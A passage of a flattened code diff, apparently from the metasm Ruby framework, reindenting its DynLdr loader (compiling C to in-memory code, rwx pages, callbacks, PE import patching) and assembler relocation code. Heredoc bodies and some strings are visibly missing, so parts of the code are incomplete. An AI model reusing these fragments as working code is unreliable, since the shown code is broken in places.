rbname, ptr) - if block_given? - begin - yield - ensure - class << self ; self ; end.send(:remove_method, rbname) - memory_free ptr - end - else - ptr - end - end - - # allocate a C::AllocCStruct to hold a specific struct defined in a previous new_api_c - def self.alloc_c_struct(structname, values={}) - cp.alloc_c_struct(structname, values) - end - - # return a C::AllocCStruct mapped over the string (with optionnal offset) - # str may be an EncodedData - def self.decode_c_struct(structname, str, off=0) - str = str.data if str.kind_of? EncodedData - cp.decode_c_struct(structname, str, off) - end - - # allocate a C::AllocCStruct holding an Array of typename variables - # if len is an int, it holds the ary length, or it can be an array of initialisers - # eg alloc_c_ary("int", [4, 5, 28]) - def self.alloc_c_ary(typename, len) - cp.alloc_c_ary(typename, len) - end - - # return a C::AllocCStruct holding an array of type typename mapped over str - def self.decode_c_ary(typename, len, str, off=0) - cp.decode_c_ary(typename, len, str, off) - end - - # return an AllocCStruct holding an array of 1 element of type typename - # access its value with obj[0] - # useful when you need a pointer to an int that will be filled by an API: use alloc_c_ptr('int') - def self.alloc_c_ptr(typename, init=nil) - cp.alloc_c_ary(typename, (init ? [init] : 1)) - end - - # return the binary version of a ruby value encoded as a C variable - # only integral types handled for now - def self.encode_c_value(var, val) - cp.encode_c_value(var, val) - end - - # decode a C variable - # only integral types handled for now - def self.decode_c_value(str, var, off=0) - cp.decode_c_value(str, var, off) - end - - # read a 0-terminated string from memory - def self.memory_read_strz(ptr, szmax=4096) - # read up to the end of the ptr memory page - pglim = (ptr + 0x1000) & ~0xfff - sz = [pglim-ptr, szmax].min - data = memory_read(ptr, sz) - return data[0, data.index(?\0)] if data.index(?\0) - if sz < szmax - data = memory_read(ptr, szmax) - data = data[0, data.index(?\0)] if data.index(?\0) - end - data - end - - # read a 0-terminated wide string from memory - def self.memory_read_wstrz(ptr, szmax=4096) - # read up to the end of the ptr memory page - pglim = (ptr + 0x1000) & ~0xfff - sz = [pglim-ptr, szmax].min - data = memory_read(ptr, sz) - if i = data.unpack('v*').index(0) - return data[0, 2*i] - end - if sz < szmax - data = memory_read(ptr, szmax) - data = data[0, 2*i] if i = data.unpack('v*').index(0) - end - data - end - - # automatically build/load the bin module - start - - case host_arch - when :windows - - new_api_c < cb structure (inuse only) + + binmodule = find_bin_path + + if not File.exists?(binmodule) or File.stat(binmodule).mtime < File.stat(__FILE__).mtime + compile_binary_module(host_exe, host_cpu, binmodule) + end + + require binmodule + + @@callback_addrs << CALLBACK_ID_0 << CALLBACK_ID_1 + end + + # compile the dynldr binary ruby module for a specific arch/cpu/modulename + def self.compile_binary_module(exe, cpu, modulename) + bin = exe.new(cpu) + # compile the C code, but patch the Init_ export name, which must match the string used in 'require' + module_c_src = DYNLDR_C.gsub('', File.basename(modulename, '.so')) + bin.compile_c module_c_src + # compile the Asm stuff according to the target architecture + bin.assemble case cpu.shortname + when 'ia32'; DYNLDR_ASM_IA32 + when 'x64'; DYNLDR_ASM_X86_64 + end + + # tweak the resulting binary linkage procedures if needed + compile_binary_module_hack(bin) + + # save the shared library + bin.encode_file(modulename, :lib) + end + + def self.compile_binary_module_hack(bin) + # this is a hack + # we need the module to use ruby symbols + # but we don't know the actual ruby lib filename (depends on ruby version, # platform, ...) + case bin.shortname + when 'elf' + # we know the lib is already loaded by the main ruby executable, no DT_NEEDED needed + class << bin + def automagic_symbols(*a) + # do the plt generation + super(*a) + # but remove the specific lib names + @tag.delete 'NEEDED' + end + end + return + when 'coff' + # the hard part, see below + else + # unhandled arch, dont tweak + return + end + + # we remove the PE IAT section related to ruby symbols, and make + # a manual symbol resolution on module loading. + + # populate the ruby import table ourselves on module loading + bin.imports.delete_if { |id| id.libname =~ /ruby/ } + + # we generate something like: + # .data + # ruby_import_table: + # rb_cObject dd str_rb_cObject - ruby_import_table + # riat_rb_intern dd str_rb_intern - ruby_import_table + # dd 0 + # + # .rodata + # str_rb_cObject db "rb_cObject", 0 + # str_rb_intern db "rb_intern", 0 + # + # .text + # rb_intern: jmp [riat_rb_intern] + # + # the PE_HACK code will parse ruby_import_table and make the symbol resolution on startup + + # setup the string table and the thunks + text = bin.sections.find { |s| s.name == '.text' }.encoded + rb_syms = text.reloc_externals.grep(/^rb_/) + + dd = (bin.cpu.size == 64 ? 'dq' : 'dd') + + init_symbol = text.export.keys.grep(/^Init_/).first + raise 'no Init_mname symbol found' if not init_symbol + if bin.cpu.size == 32 + # hax to find the base of libruby under Win98 (peb sux) + text.export[init_symbol + '_real'] = text.export.delete(init_symbol) + bin.unique_labels_cache.delete(init_symbol) + end + + # the C glue: getprocaddress etc + bin.compile_c DYNLDR_C_PE_HACK.gsub('Init_dynldr', init_symbol) + + # the IAT, initialized with relative offsets to symbol names + asm_table = ['.data', '.align 8', 'ruby_import_table:'] + # strings will be in .rodata + bin.parse('.rodata') + rb_syms.each { |sym| + # raw symbol name + str_label = bin.parse_new_label('str', "db #{sym.inspect}, 0") + + if sym !~ /^rb_[ce][A-Z]/ + # if we dont reference a data import (rb_cClass / rb_eException), + # then create a function thunk + i = PE::ImportDirectory::Import.new + i.thunk = sym + sym = i.target = 'riat_' + str_label + bin.arch_encode_thunk(text, i) # encode a jmp [importtable] + end + + # update the IAT + asm_table << "#{sym} #{dd} #{str_label} - ruby_import_table" + } + # IAT null-terminated + asm_table << "#{dd} 0" + + # now parse & assemble the IAT in .data + bin.assemble asm_table.join("\n") + end + + # find the path of the binary module + # if none exists, create a path writeable by the current user + def self.find_bin_path + fname = ['dynldr', host_arch, host_cpu.shortname, + ('19' if RUBY_VERSION >= '1.9')].compact.join('-') + '.so' + dir = File.dirname(__FILE__) + binmodule = File.join(dir, fname) + if not File.exists? binmodule or File.stat(binmodule).mtime < File.stat(__FILE__).mtime + if not dir = find_write_dir + raise LoadError, "no writable dir to put the DynLdr ruby module, try to run as root" + end + binmodule = File.join(dir, fname) + end + binmodule + end + + # find a writeable directory + # searches this script directory, $HOME / %APPDATA% / %USERPROFILE%, or $TMP + def self.find_write_dir + writable = lambda { |d| + begin + foo = '/_test_write_' + rand(1<<32).to_s + true if File.writable?(d) and + File.open(d+foo, 'w') { true } and + File.unlink(d+foo) + rescue + end + } + dir = File.dirname(__FILE__) + return dir if writable[dir] + dir = ENV['HOME'] || ENV['APPDATA'] || ENV['USERPROFILE'] + if writable[dir] + dir = File.join(dir, '.metasm') + Dir.mkdir dir if not File.directory? dir + return dir + end + ENV['TMP'] || ENV['TEMP'] || '.' + end + + # CPU suitable for compiling code for the current running host + def self.host_cpu + @cpu ||= + case RUBY_PLATFORM + when /i[3-6]86/; Ia32.new + when /x86_64|x64/i; X86_64.new + else raise LoadError, "Unsupported host platform #{RUBY_PLATFORM}" + end + end + + # returns whether we run on linux or windows + def self.host_arch + case RUBY_PLATFORM + when /linux/i; :linux + when /mswin|mingw|cygwin/i; :windows + else raise LoadError, "Unsupported host platform #{RUBY_PLATFORM}" + end + end + + # ExeFormat suitable as current running host native module + def self.host_exe + case host_arch + when :linux; ELF + when :windows; PE + end + end + + # parse a C string into the @cp parser, create it if needed + def self.parse_c(src) + cp.parse(src) + end + + # compile a C fragment into a Shellcode, honors the host ABI + def self.compile_c(src) + # XXX could we reuse self.cp ? (for its macros etc) + cp = C::Parser.new(host_exe.new(host_cpu)) + cp.parse(src) + sc = Shellcode.new(host_cpu) + asm = host_cpu.new_ccompiler(cp, sc).compile + sc.assemble(asm) + end + + # retrieve the library where a symbol is to be found (uses AutoImport) + def self.lib_from_sym(symname) + case host_arch + when :linux; GNUExports::EXPORT + when :windows; WindowsExports::EXPORT + end[symname] + end + + # reads a bunch of C code, creates binding for those according to the prototypes + # handles enum/defines to define constants + # For each toplevel method prototype, it generates a ruby method in this module, the name is lowercased + # For each numeric macro/enum, it also generates an uppercase named constant + # When such a function is called with a lambda as argument, a callback is created for the duration of the call + # and destroyed afterwards ; use callback_alloc_c to get a callback id with longer life span + def self.new_api_c(proto, fromlib=nil) + proto += "\n;" # allow 'int foo()' and '#include ' + parse_c(proto) + + cp.toplevel.symbol.dup.each_value { |v| + next if not v.kind_of? C::Variable # enums + cp.toplevel.symbol.delete v.name + lib = fromlib || lib_from_sym(v.name) + addr = sym_addr(lib, v.name) + if addr == 0 or addr == -1 or addr == 0xffff_ffff or addr == 0xffffffff_ffffffff + api_not_found(lib, v) + next + end + + rbname = c_func_name_to_rb(v.name) + if not v.type.kind_of? C::Function + # not a function, simply return the symbol address + # TODO struct/table access through hash/array ? + class << self ; self ; end.send(:define_method, rbname) { addr } + next + end + next if v.initializer # inline & stuff + puts "new_api_c: load method #{rbname} from #{lib}" if $DEBUG + + new_caller_for(v, rbname, addr) + } + + # predeclare constants from enums + # macros are handled in const_missing (too slow to (re)do here everytime) + # TODO #define FOO(v) (v<<1)|1 => create ruby counterpart + cexist = constants.inject({}) { |h, c| h.update c.to_s => true } + cp.toplevel.symbol.each { |k, v| + if v.kind_of? ::Integer + n = c_const_name_to_rb(k) + const_set(n, v) if v.kind_of? Integer and not cexist[n] + end + } + + # avoid WTF rb warning: toplevel const TRUE referenced by WinAPI::TRUE + cp.lexer.definition.each_key { |k| + n = c_const_name_to_rb(k) + if not cexist[n] and Object.const_defined?(n) and v = @cp.macro_numeric(n) + const_set(n, v) + end + } + end + + # const_missing handler: will try to find a matching #define + def self.const_missing(c) + # infinite loop on autorequire C.. + return super(c) if not defined? @cp or not @cp + + cs = c.to_s + if @cp.lexer.definition[cs] + m = cs + else + m = @cp.lexer.definition.keys.find { |k| c_const_name_to_rb(k) == cs } + end + + if m and v = @cp.macro_numeric(m) + const_set(c, v) + v + else + super(c) + end + end + + # when defining ruby wrapper for C methods, the ruby method name is the string returned by this function from the C name + def self.c_func_name_to_rb(name) + n = name.to_s.gsub(/[^a-z0-9_]/i) { |c| c.unpack('H*')[0] }.downcase + n = "m#{n}" if n !~ /^[a-z]/ + n + end + + # when defining ruby wrapper for C constants (numeric define/enum), the ruby const name is + # the string returned by this function from the C name. It should follow ruby standards (1st letter upcase) + def self.c_const_name_to_rb(name) + n = name.to_s.gsub(/[^a-z0-9_]/i) { |c| c.unpack('H*')[0] }.upcase + n = "C#{n}" if n !~ /^[A-Z]/ + n + end + + def self.api_not_found(lib, func) + raise "could not find symbol #{func.name.inspect} in #{lib.inspect}" + end + + # called whenever a native API is called through new_api_c/new_func_c/etc + def self.trace_invoke(api, args) + #p api + end + + # define a new method 'name' in the current module to invoke the raw method at addr addr + # translates ruby args to raw args using the specified prototype + def self.new_caller_for(proto, name, addr) + flags = 0 + flags |= 1 if proto.has_attribute('stdcall') + flags |= 2 if proto.has_attribute('fastcall') + flags |= 4 if proto.type.type.integral? and cp.sizeof(nil, proto.type.type) == 8 + flags |= 8 if proto.type.type.float? + class << self ; self ; end.send(:define_method, name) { |*a| + raise ArgumentError, "bad arg count for #{name}: #{a.length} for #{proto.type.args.length}" if a.length != proto.type.args.length and not proto.type.varargs + + # convert the arglist suitably for raw_invoke + auto_cb = [] # list of automatic C callbacks generated from lambdas + a = a.zip(proto.type.args).map { |ra, fa| + aa = convert_rb2c(fa, ra, :cb_list => auto_cb) + if fa and fa.type.integral? and cp.sizeof(fa) == 8 and host_cpu.size == 32 + aa = [aa & 0xffff_ffff, (aa >> 32) & 0xffff_ffff] + aa.reverse! if host_cpu.endianness != :little + end + aa + }.flatten + + trace_invoke(name, a) + # do it + ret = raw_invoke(addr, a, flags) + + # cleanup autogenerated callbacks + auto_cb.each { |cb| callback_free(cb) } + + # interpret return value + ret = convert_ret_c2rb(proto, ret) + } + end + + # ruby object -> integer suitable as arg for raw_invoke + def self.convert_rb2c(formal, val, opts=nil) + case val + when String; str_ptr(val) + when Proc; cb = callback_alloc_cobj(formal, val) ; (opts[:cb_list] << cb if opts and opts[:cb_list]) ; cb + when C::AllocCStruct; str_ptr(val.str) + val.stroff + when Hash + if not formal.type.pointed.kind_of?(C::Struct) + raise "invalid argument #{val.inspect} for #{formal}, need a struct*" + end + buf = cp.alloc_c_struct(formal, val) + val.instance_variable_set('@rb2c', buf) # GC trick: lifetime(buf) >= lifetime(hash) (XXX or until next call to convert_rb2c) + str_ptr(buf.str) + #when Float; val # TODO handle that in raw_invoke C code + else + v = val.to_i rescue 0 # NaN, Infinity, etc + v = -v if v == -(1<<(cp.typesize[:ptr]*8-1)) # ruby bug... raise -0x8000_0000: out of ulong range + v + end + end + + # this method is called from the C part to run the ruby code corresponding to + # a given C callback allocated by callback_alloc_c + def self.callback_run(id, args) + cb = @@callback_table[id] + raise "invalid callback #{'%x' % id} not in #{@@callback_table.keys.map { |c| c.to_s(16) }}" if not cb + + rawargs = args.dup + ra = cb[:proto] ? cb[:proto].args.map { |fa| convert_cbargs_c2rb(fa, rawargs) } : [] + + # run it + ret = cb[:proc].call(*ra) + + # the C code expects to find in args[0] the amount of stack fixing needed for __stdcall callbacks + args[0] = cb[:abi_stackfix] || 0 + ret + end + + # C raw cb arg -> ruby object + # will combine 2 32bit values for 1 64bit arg + def self.convert_cbargs_c2rb(formal, rawargs) + val = rawargs.shift + if formal.type.integral? and cp.sizeof(formal) == 8 and host_cpu.size == 32 + if host.cpu.endianness == :little + val |= rawargs.shift << 32 + else + val = (val << 32) | rawargs.shift + end + end + + convert_c2rb(formal, val) + end + + # interpret a raw decoded C value to a ruby value according to the C prototype + # handles signedness etc + # XXX val is an integer, how to decode Floats etc ? raw binary ptr ? + def self.convert_c2rb(formal, val) + formal = formal.type if formal.kind_of? C::Variable + val = Expression.make_signed(val, 8*cp.sizeof(formal)) if formal.integral? and formal.signed? + val = nil if formal.pointer? and val == 0 + val + end + + # C raw ret -> ruby obj + # can be overridden for system-specific calling convention (eg return 0/-1 => raise an error) + def self.convert_ret_c2rb(fproto, ret) + fproto = fproto.type if fproto.kind_of? C::Variable + convert_c2rb(fproto.untypedef.type, ret) + end + + def self.cp ; @cp ||= C::Parser.new(host_exe.new(host_cpu)) ; end + def self.cp=(c); @cp = c ; end + + # allocate a callback for a given C prototype (string) + # accepts full C functions (with body) (only 1 at a time) or toplevel 'asm' statement + def self.callback_alloc_c(proto, &b) + proto += ';' # allow 'int foo()' + parse_c(proto) + v = cp.toplevel.symbol.values.find_all { |v_| v_.kind_of? C::Variable and v_.type.kind_of? C::Function }.first + if (v and v.initializer) or cp.toplevel.statements.find { |st| st.kind_of? C::Asm } + cp.toplevel.statements.delete_if { |st| st.kind_of? C::Asm } + cp.toplevel.symbol.delete v.name if v + sc = compile_c(proto) + ptr = memory_alloc(sc.encoded.length) + sc.base_addr = ptr + # TODO fixup external calls + memory_write ptr, sc.encode_string + memory_perm ptr, sc.encoded.length, 'rwx' + ptr + elsif not v + raise 'empty prototype' + else + cp.toplevel.symbol.delete v.name + callback_alloc_cobj(v, b) + end + end + + # allocates a callback for a given C prototype (C variable, pointer to func accepted) + def self.callback_alloc_cobj(proto, b) + ori = proto + proto = proto.type if proto and proto.kind_of? C::Variable + proto = proto.pointed while proto and proto.pointer? + id = callback_find_id + cb = {} + cb[:id] = id + cb[:proc] = b + cb[:proto] = proto + cb[:abi_stackfix] = proto.args.inject(0) { |s, a| s + [cp.sizeof(a), cp.typesize[:ptr]].max } if ori and ori.has_attribute('stdcall') + cb[:abi_stackfix] = proto.args[2..-1].to_a.inject(0) { |s, a| s + [cp.sizeof(a), cp.typesize[:ptr]].max } if ori and ori.has_attribute('fastcall') # supercedes stdcall + @@callback_table[id] = cb + id + end + + # releases a callback id, so that it may be reused by a later callback_alloc + def self.callback_free(id) + @@callback_table.delete id + end + + # finds a free callback id, allocates a new page if needed + def self.callback_find_id + if not id = @@callback_addrs.find { |a| not @@callback_table[a] } + cb_page = memory_alloc(4096) + sc = Shellcode.new(host_cpu, cb_page) + case sc.cpu.shortname + when 'ia32' + addr = cb_page + nrcb = 128 # TODO should be 4096/5, but the parser/compiler is really too slow + nrcb.times { + @@callback_addrs << addr + sc.parse "call #{CALLBACK_TARGET}" + addr += 5 + } + when 'x64' + addr = cb_page + nrcb = 128 # same remark + nrcb.times { + @@callback_addrs << addr + sc.parse "1: lea rax, [rip-$_+1b] jmp #{CALLBACK_TARGET}" + addr += 12 # XXX approximative.. + } + end + sc.assemble + memory_write cb_page, sc.encode_string + memory_perm cb_page, 4096, 'rx' + raise 'callback_alloc bouh' if not id = @@callback_addrs.find { |a| not @@callback_table[a] } + end + id + end + + # compile a bunch of C functions, defines methods in this module to call them + # returns the raw pointer to the code page + # if given a block, run the block and then undefine all the C functions & free memory + def self.new_func_c(src) + sc = compile_c(src) + ptr = memory_alloc(sc.encoded.length) + sc.base_addr = ptr + bd = sc.encoded.binding(ptr) + sc.encoded.reloc_externals.uniq.each { |ext| bd[ext] = sym_addr(lib_from_sym(ext), ext) or raise "unknown symbol #{ext}" } + sc.encoded.fixup(bd) + memory_write ptr, sc.encode_string + memory_perm ptr, sc.encoded.length, 'rwx' + parse_c(src) # XXX the Shellcode parser may have defined stuff / interpreted C another way... + defs = [] + cp.toplevel.symbol.dup.each_value { |v| + next if not v.kind_of? C::Variable + cp.toplevel.symbol.delete v.name + next if not v.type.kind_of? C::Function or not v.initializer + next if not off = sc.encoded.export[v.name] + rbname = c_func_name_to_rb(v.name) + new_caller_for(v, rbname, ptr+off) + defs << rbname + } + if block_given? + begin + yield + ensure + defs.each { |d| class << self ; self ; end.send(:remove_method, d) } + memory_free ptr + end + else + ptr + end + end + + # compile an asm sequence, callable with the ABI of the C prototype given + # function name comes from the prototype + def self.new_func_asm(proto, asm) + proto += "\n;" + old = cp.toplevel.symbol.keys + parse_c(proto) + news = cp.toplevel.symbol.keys - old + raise "invalid proto #{proto}" if news.length != 1 + f = cp.toplevel.symbol[news.first] + raise "invalid func proto #{proto}" if not f.name or not f.type.kind_of? C::Function or f.initializer + cp.toplevel.symbol.delete f.name + + sc = Shellcode.assemble(host_cpu, asm) + ptr = memory_alloc(sc.encoded.length) + bd = sc.encoded.binding(ptr) + sc.encoded.reloc_externals.uniq.each { |ext| bd[ext] = sym_addr(lib_from_sym(ext), ext) or raise "unknown symbol #{ext}" } + sc.encoded.fixup(bd) + memory_write ptr, sc.encode_string + memory_perm ptr, sc.encoded.length, 'rwx' + rbname = c_func_name_to_rb(f.name) + new_caller_for(f, rbname, ptr) + if block_given? + begin + yield + ensure + class << self ; self ; end.send(:remove_method, rbname) + memory_free ptr + end + else + ptr + end + end + + # allocate a C::AllocCStruct to hold a specific struct defined in a previous new_api_c + def self.alloc_c_struct(structname, values={}) + cp.alloc_c_struct(structname, values) + end + + # return a C::AllocCStruct mapped over the string (with optionnal offset) + # str may be an EncodedData + def self.decode_c_struct(structname, str, off=0) + str = str.data if str.kind_of? EncodedData + cp.decode_c_struct(structname, str, off) + end + + # allocate a C::AllocCStruct holding an Array of typename variables + # if len is an int, it holds the ary length, or it can be an array of initialisers + # eg alloc_c_ary("int", [4, 5, 28]) + def self.alloc_c_ary(typename, len) + cp.alloc_c_ary(typename, len) + end + + # return a C::AllocCStruct holding an array of type typename mapped over str + def self.decode_c_ary(typename, len, str, off=0) + cp.decode_c_ary(typename, len, str, off) + end + + # return an AllocCStruct holding an array of 1 element of type typename + # access its value with obj[0] + # useful when you need a pointer to an int that will be filled by an API: use alloc_c_ptr('int') + def self.alloc_c_ptr(typename, init=nil) + cp.alloc_c_ary(typename, (init ? [init] : 1)) + end + + # return the binary version of a ruby value encoded as a C variable + # only integral types handled for now + def self.encode_c_value(var, val) + cp.encode_c_value(var, val) + end + + # decode a C variable + # only integral types handled for now + def self.decode_c_value(str, var, off=0) + cp.decode_c_value(str, var, off) + end + + # read a 0-terminated string from memory + def self.memory_read_strz(ptr, szmax=4096) + # read up to the end of the ptr memory page + pglim = (ptr + 0x1000) & ~0xfff + sz = [pglim-ptr, szmax].min + data = memory_read(ptr, sz) + return data[0, data.index(?\0)] if data.index(?\0) + if sz < szmax + data = memory_read(ptr, szmax) + data = data[0, data.index(?\0)] if data.index(?\0) + end + data + end + + # read a 0-terminated wide string from memory + def self.memory_read_wstrz(ptr, szmax=4096) + # read up to the end of the ptr memory page + pglim = (ptr + 0x1000) & ~0xfff + sz = [pglim-ptr, szmax].min + data = memory_read(ptr, sz) + if i = data.unpack('v*').index(0) + return data[0, 2*i] + end + if sz < szmax + data = memory_read(ptr, szmax) + data = data[0, 2*i] if i = data.unpack('v*').index(0) + end + data + end + + # automatically build/load the bin module + start + + case host_arch + when :windows + + new_api_c < PAGE_READONLY, 'rw' => PAGE_READWRITE, 'rx' => PAGE_EXECUTE_READ, - 'rwx' => PAGE_EXECUTE_READWRITE }[perm.to_s.downcase] - virtualprotect(addr, len, perm, str_ptr([0].pack('C')*8)) - end - - when :linux - - new_api_c < PAGE_READONLY, 'rw' => PAGE_READWRITE, 'rx' => PAGE_EXECUTE_READ, + 'rwx' => PAGE_EXECUTE_READWRITE }[perm.to_s.downcase] + virtualprotect(addr, len, perm, str_ptr([0].pack('C')*8)) + end + + when :linux + + new_api_c < 1) ? assemble_resolve(ary) : ary.shift - edata.fixup edata.binding - edata - end + edata = (ary.length > 1) ? assemble_resolve(ary) : ary.shift + edata.fixup edata.binding + edata + end - # chose among multiple possible sub-EncodedData - # assumes all ambiguous edata have the equivallent relocations in the same order - def assemble_resolve(ary) - startlabel = new_label('section_start') + # chose among multiple possible sub-EncodedData + # assumes all ambiguous edata have the equivallent relocations in the same order + def assemble_resolve(ary) + startlabel = new_label('section_start') - # create two bindings where all elements are the shortest/longest possible - minbinding = {} - minoff = 0 - maxbinding = {} - maxoff = 0 + # create two bindings where all elements are the shortest/longest possible + minbinding = {} + minoff = 0 + maxbinding = {} + maxoff = 0 - ary.each { |elem| - case elem - when Array - if elem.all? { |ed| ed.kind_of? EncodedData and ed.reloc.empty? } - elem = [elem.sort_by { |ed| ed.length }.first] - end - elem.each { |e| - e.export.each { |label, off| - minbinding[label] = Expression[startlabel, :+, minoff + off] - maxbinding[label] = Expression[startlabel, :+, maxoff + off] - } - } - minoff += elem.map { |e| e.virtsize }.min - maxoff += elem.map { |e| e.virtsize }.max + ary.each { |elem| + case elem + when Array + if elem.all? { |ed| ed.kind_of? EncodedData and ed.reloc.empty? } + elem = [elem.sort_by { |ed| ed.length }.first] + end + elem.each { |e| + e.export.each { |label, off| + minbinding[label] = Expression[startlabel, :+, minoff + off] + maxbinding[label] = Expression[startlabel, :+, maxoff + off] + } + } + minoff += elem.map { |e| e.virtsize }.min + maxoff += elem.map { |e| e.virtsize }.max - when EncodedData - elem.export.each { |label, off| - minbinding[label] = Expression[startlabel, :+, minoff + off] - maxbinding[label] = Expression[startlabel, :+, maxoff + off] - } - minoff += elem.virtsize - maxoff += elem.virtsize + when EncodedData + elem.export.each { |label, off| + minbinding[label] = Expression[startlabel, :+, minoff + off] + maxbinding[label] = Expression[startlabel, :+, maxoff + off] + } + minoff += elem.virtsize + maxoff += elem.virtsize - when Align - minoff += 0 - maxoff += elem.val - 1 + when Align + minoff += 0 + maxoff += elem.val - 1 - when Padding - # find the surrounding Offsets and compute the largest/shortest edata sizes to determine min/max length for the padding - prevoff = ary[0..ary.index(elem)].grep(Offset).last - nextoff = ary[ary.index(elem)..-1].grep(Offset).first - raise elem, 'need .offset after .pad' if not nextoff + when Padding + # find the surrounding Offsets and compute the largest/shortest edata sizes to determine min/max length for the padding + prevoff = ary[0..ary.index(elem)].grep(Offset).last + nextoff = ary[ary.index(elem)..-1].grep(Offset).first + raise elem, 'need .offset after .pad' if not nextoff - # find all elements between the surrounding Offsets - previdx = prevoff ? ary.index(prevoff) + 1 : 0 - surround = ary[previdx..ary.index(nextoff)-1] - surround.delete elem - if surround.find { |nelem| nelem.kind_of? Padding } - raise elem, 'need .offset beetween two .pad' - end - if surround.find { |nelem| nelem.kind_of? Align and ary.index(nelem) > ary.index(elem) } - raise elem, 'cannot .align after a .pad' # XXX really ? - end + # find all elements between the surrounding Offsets + previdx = prevoff ? ary.index(prevoff) + 1 : 0 + surround = ary[previdx..ary.index(nextoff)-1] + surround.delete elem + if surround.find { |nelem| nelem.kind_of? Padding } + raise elem, 'need .offset beetween two .pad' + end + if surround.find { |nelem| nelem.kind_of? Align and ary.index(nelem) > ary.index(elem) } + raise elem, 'cannot .align after a .pad' # XXX really ? + end - # lenmin/lenmax are the extrem length of the Padding - nxt = Expression[nextoff.val] - ext = nxt.externals - raise elem, "bad offset #{nxt}" if ext.length > 1 or (ext.length == 1 and not minbinding[ext.first]) - nxt = Expression[nxt, :-, startlabel] if not nxt.bind(minbinding).reduce.kind_of? ::Integer - prv = Expression[prevoff ? prevoff.val : 0] - ext = prv.externals - raise elem, "bad offset #{prv}" if ext.length > 1 or (ext.length == 1 and not minbinding[ext.first]) - prv = Expression[prv, :-, startlabel] if not prv.bind(minbinding).reduce.kind_of? ::Integer + # lenmin/lenmax are the extrem length of the Padding + nxt = Expression[nextoff.val] + ext = nxt.externals + raise elem, "bad offset #{nxt}" if ext.length > 1 or (ext.length == 1 and not minbinding[ext.first]) + nxt = Expression[nxt, :-, startlabel] if not nxt.bind(minbinding).reduce.kind_of? ::Integer + prv = Expression[prevoff ? prevoff.val : 0] + ext = prv.externals + raise elem, "bad offset #{prv}" if ext.length > 1 or (ext.length == 1 and not minbinding[ext.first]) + prv = Expression[prv, :-, startlabel] if not prv.bind(minbinding).reduce.kind_of? ::Integer - lenmin = Expression[nxt.bind(minbinding), :-, prv.bind(maxbinding)].reduce - lenmax = Expression[nxt.bind(maxbinding), :-, prv.bind(minbinding)].reduce - raise elem, "bad labels: #{lenmin}" if not lenmin.kind_of? ::Integer or not lenmax.kind_of? ::Integer - surround.each { |nelem| - case nelem - when Array - lenmin -= nelem.map { |e| e.virtsize }.max - lenmax -= nelem.map { |e| e.virtsize }.min - when EncodedData - lenmin -= nelem.virtsize - lenmax -= nelem.virtsize - when Align - lenmin -= nelem.val - 1 - lenmax -= 0 - end - } - raise elem, "no room for .pad before '.offset #{nextoff.val}' at #{Backtrace.backtrace_str(nextoff.backtrace)}, need at least #{-lenmax} more bytes" if lenmax < 0 - minoff += [lenmin, 0].max - maxoff += lenmax + lenmin = Expression[nxt.bind(minbinding), :-, prv.bind(maxbinding)].reduce + lenmax = Expression[nxt.bind(maxbinding), :-, prv.bind(minbinding)].reduce + raise elem, "bad labels: #{lenmin}" if not lenmin.kind_of? ::Integer or not lenmax.kind_of? ::Integer + surround.each { |nelem| + case nelem + when Array + lenmin -= nelem.map { |e| e.virtsize }.max + lenmax -= nelem.map { |e| e.virtsize }.min + when EncodedData + lenmin -= nelem.virtsize + lenmax -= nelem.virtsize + when Align + lenmin -= nelem.val - 1 + lenmax -= 0 + end + } + raise elem, "no room for .pad before '.offset #{nextoff.val}' at #{Backtrace.backtrace_str(nextoff.backtrace)}, need at least #{-lenmax} more bytes" if lenmax < 0 + minoff += [lenmin, 0].max + maxoff += lenmax - when Offset - # nothing to do for now - else - raise "Internal error: bad object #{elem.inspect} in encode_resolve" - end - } + when Offset + # nothing to do for now + else + raise "Internal error: bad object #{elem.inspect} in encode_resolve" + end + } - # checks an expression linearity - check_linear = lambda { |expr| - expr = expr.reduce if expr.kind_of? Expression - while expr.kind_of? Expression - case expr.op - when :* - if expr.lexpr.kind_of? Numeric; expr = expr.rexpr - elsif expr.rexpr.kind_of? Numeric; expr = expr.lexpr - else break - end - when :/, :>>, :<< - if expr.rexpr.kind_of? Numeric; expr = expr.lexpr - else break - end - when :+, :- - if not expr.lexpr; expr = expr.rexpr - elsif expr.lexpr.kind_of? Numeric; expr = expr.rexpr - elsif expr.rexpr.kind_of? Numeric; expr = expr.lexpr - else - break if not check_linear[expr.rexpr] - expr = expr.lexpr - end - else break - end - end + # checks an expression linearity + check_linear = lambda { |expr| + expr = expr.reduce if expr.kind_of? Expression + while expr.kind_of? Expression + case expr.op + when :* + if expr.lexpr.kind_of? Numeric; expr = expr.rexpr + elsif expr.rexpr.kind_of? Numeric; expr = expr.lexpr + else break + end + when :/, :>>, :<< + if expr.rexpr.kind_of? Numeric; expr = expr.lexpr + else break + end + when :+, :- + if not expr.lexpr; expr = expr.rexpr + elsif expr.lexpr.kind_of? Numeric; expr = expr.rexpr + elsif expr.rexpr.kind_of? Numeric; expr = expr.lexpr + else + break if not check_linear[expr.rexpr] + expr = expr.lexpr + end + else break + end + end - not expr.kind_of? Expression - } + not expr.kind_of? Expression + } - # now we can resolve all relocations - # for linear expressions of internal variables (ie differences of labels from the ary): - # - calc target numeric bounds, and reject relocs not accepting worst case value - # - else reject all but largest place available - # then chose the shortest overall EData left - ary.map! { |elem| - case elem - when Array - # for each external, compute numeric target values using minbinding[external] and maxbinding[external] - # this gives us all extrem values for linear expressions - target_bounds = {} - rec_checkminmax = lambda { |idx, target, binding, extlist| - if extlist.empty? - (target_bounds[idx] ||= []) << target.bind(binding).reduce - else - rec_checkminmax[idx, target, binding.merge(extlist.last => minbinding[extlist.last]), extlist[0...-1]] - rec_checkminmax[idx, target, binding.merge(extlist.last => maxbinding[extlist.last]), extlist[0...-1]] - end - } - # biggest size disponible for this relocation (for non-linear/external) - wantsize = {} + # now we can resolve all relocations + # for linear expressions of internal variables (ie differences of labels from the ary): + # - calc target numeric bounds, and reject relocs not accepting worst case value + # - else reject all but largest place available + # then chose the shortest overall EData left + ary.map! { |elem| + case elem + when Array + # for each external, compute numeric target values using minbinding[external] and maxbinding[external] + # this gives us all extrem values for linear expressions + target_bounds = {} + rec_checkminmax = lambda { |idx, target, binding, extlist| + if extlist.empty? + (target_bounds[idx] ||= []) << target.bind(binding).reduce + else + rec_checkminmax[idx, target, binding.merge(extlist.last => minbinding[extlist.last]), extlist[0...-1]] + rec_checkminmax[idx, target, binding.merge(extlist.last => maxbinding[extlist.last]), extlist[0...-1]] + end + } + # biggest size disponible for this relocation (for non-linear/external) + wantsize = {} - elem.each { |e| - 